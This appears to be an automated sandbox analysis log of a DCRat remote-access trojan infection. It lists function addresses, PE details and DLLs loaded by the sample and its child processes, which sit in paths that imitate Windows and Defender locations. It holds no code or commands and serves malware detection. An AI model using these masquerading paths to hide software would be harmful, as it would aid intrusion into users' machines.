Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_00884088	2_2_00884088
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008800B7	2_2_008800B7
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008740FE	2_2_008740FE
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008951C9	2_2_008951C9
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_00887153	2_2_00887153
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008862CA	2_2_008862CA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008732F7	2_2_008732F7
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008843BF	2_2_008843BF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087C426	2_2_0087C426
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0089D440	2_2_0089D440
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087F461	2_2_0087F461
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008877EF	2_2_008877EF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0089D8EE	2_2_0089D8EE
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087286B	2_2_0087286B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087E9B7	2_2_0087E9B7
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_008A19F4	2_2_008A19F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_00886CDC	2_2_00886CDC
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_00883E0B	2_2_00883E0B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_00894F9A	2_2_00894F9A
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 2_2_0087EFE2	2_2_0087EFE2
Source: C:\MsComponentSvc\hyperServer.exe	Code function: 6_2_00007FFD9BC8091D	6_2_00007FFD9BC8091D
Source: C:\Program Files\Windows Defender\Offline\cmd.exe	Code function: 28_2_00007FFD9BAA0DA0	28_2_00007FFD9BAA0DA0
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 30_2_00007FFD9BAC0DA0	30_2_00007FFD9BAC0DA0
Source: C:\Program Files\Internet Explorer\images\oZTcEkJaieSsRsrMRoYKmeAXH.exe	Code function: 31_2_00007FFD9BA90DA0	31_2_00007FFD9BA90DA0
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BAED3B5	36_2_00007FFD9BAED3B5
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BAD0DA0	36_2_00007FFD9BAD0DA0
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB19A3D	36_2_00007FFD9BB19A3D
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BB24B69	36_2_00007FFD9BB24B69
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BC8091D	36_2_00007FFD9BC8091D
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1DEEED	36_2_00007FFD9C1DEEED
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9C1D0EFA	36_2_00007FFD9C1D0EFA
Source: C:\Windows\apppatch\AppPatch64\TextInputHost.exe	Code function: 36_2_00007FFD9BAEB87D	36_2_00007FFD9BAEB87D
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3A912F0	41_2_00007FFDF3A912F0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF3A91930	41_2_00007FFDF3A91930
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4FD75AE	41_2_00007FFDF4FD75AE
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F11470	41_2_00007FFDF4F11470
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4FD91F0	41_2_00007FFDF4FD91F0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F810E0	41_2_00007FFDF4F810E0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F15380	41_2_00007FFDF4F15380
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F83E60	41_2_00007FFDF4F83E60
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F85BB0	41_2_00007FFDF4F85BB0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4FE8570	41_2_00007FFDF4FE8570
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F80740	41_2_00007FFDF4F80740
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4F34060	41_2_00007FFDF4F34060
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF4FC7600	41_2_00007FFDF4FC7600
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF527B4C0	41_2_00007FFDF527B4C0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5253B93	41_2_00007FFDF5253B93
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF53874F0	41_2_00007FFDF53874F0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5255169	41_2_00007FFDF5255169
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF548F7D0	41_2_00007FFDF548F7D0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF525704A	41_2_00007FFDF525704A
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5256F28	41_2_00007FFDF5256F28
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF527B850	41_2_00007FFDF527B850
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5251EA1	41_2_00007FFDF5251EA1
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF525114F	41_2_00007FFDF525114F
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF526F200	41_2_00007FFDF526F200
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF538B200	41_2_00007FFDF538B200
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF526F060	41_2_00007FFDF526F060
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF525213F	41_2_00007FFDF525213F
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5256EF1	41_2_00007FFDF5256EF1
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5255D8A	41_2_00007FFDF5255D8A
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52529CD	41_2_00007FFDF52529CD
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5256CBC	41_2_00007FFDF5256CBC
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF526BD60	41_2_00007FFDF526BD60
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5387CD0	41_2_00007FFDF5387CD0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52530C1	41_2_00007FFDF52530C1
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5252766	41_2_00007FFDF5252766
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5380010	41_2_00007FFDF5380010
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52532E7	41_2_00007FFDF52532E7
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5252289	41_2_00007FFDF5252289
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF526BF20	41_2_00007FFDF526BF20
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52560A0	41_2_00007FFDF52560A0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52BFA00	41_2_00007FFDF52BFA00
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5253FDA	41_2_00007FFDF5253FDA
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5254165	41_2_00007FFDF5254165
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52521B7	41_2_00007FFDF52521B7
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF52522E8	41_2_00007FFDF52522E8
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5407BC0	41_2_00007FFDF5407BC0
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF53F3B80	41_2_00007FFDF53F3B80
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF525655F	41_2_00007FFDF525655F
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5256A87	41_2_00007FFDF5256A87
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF525707C	41_2_00007FFDF525707C
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5253693	41_2_00007FFDF5253693
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDF5251CC1	41_2_00007FFDF5251CC1
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAEFC00	41_2_00007FFDFAAEFC00
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAB07B90	41_2_00007FFDFAB07B90
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1451	41_2_00007FFDFAAA1451
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAAF8B5	41_2_00007FFDFAAAF8B5
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: 41_2_00007FFDFAAA1956	41_2_00007FFDFAAA1956

Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDF5254057 appears 236 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDF52524B9 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDF525483B appears 40 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDFAAA12EE appears 115 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDF525300D appears 50 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDF5252734 appears 174 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FF7E54A2B30 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDF5251EF1 appears 354 times
Source: C:\Users\user\AppData\Local\Temp\5GG.exe	Code function: String function: 00007FFDFAB0D74F appears 44 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 0088EB78 appears 39 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 0088EC50 appears 56 times
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: String function: 0088F5F0 appears 31 times

Source: unicodedata.pyd.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: _overlapped.pyd.1.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: api-ms-win-core-handle-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-string-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-2-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-memory-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-sysinfo-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-debug-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-utility-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-environment-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-heap-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-console-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-process-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l2-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-runtime-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-string-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-file-l1-2-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-profile-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-libraryloader-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-localization-l1-2-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-datetime-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-time-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-locale-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processthreads-l1-1-1.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-namedpipe-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-filesystem-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-stdio-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-util-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-errorhandling-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-math-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-processenvironment-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-interlocked-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: AnyDesk.exe.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-heap-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-rtlsupport-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-synch-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-conio-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-core-timezone-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found
Source: api-ms-win-crt-convert-l1-1-0.dll.1.dr	Static PE information: No import functions for PE file found

Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1tQ7HC6GOS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-synch-l1-2-0.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-fibers-l1-1-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: <pi-ms-win-core-localization-l1-2-1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: version.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\MsComponentSvc\hyperServer.exe	Section loaded: uxtheme.dll	Jump to behavior
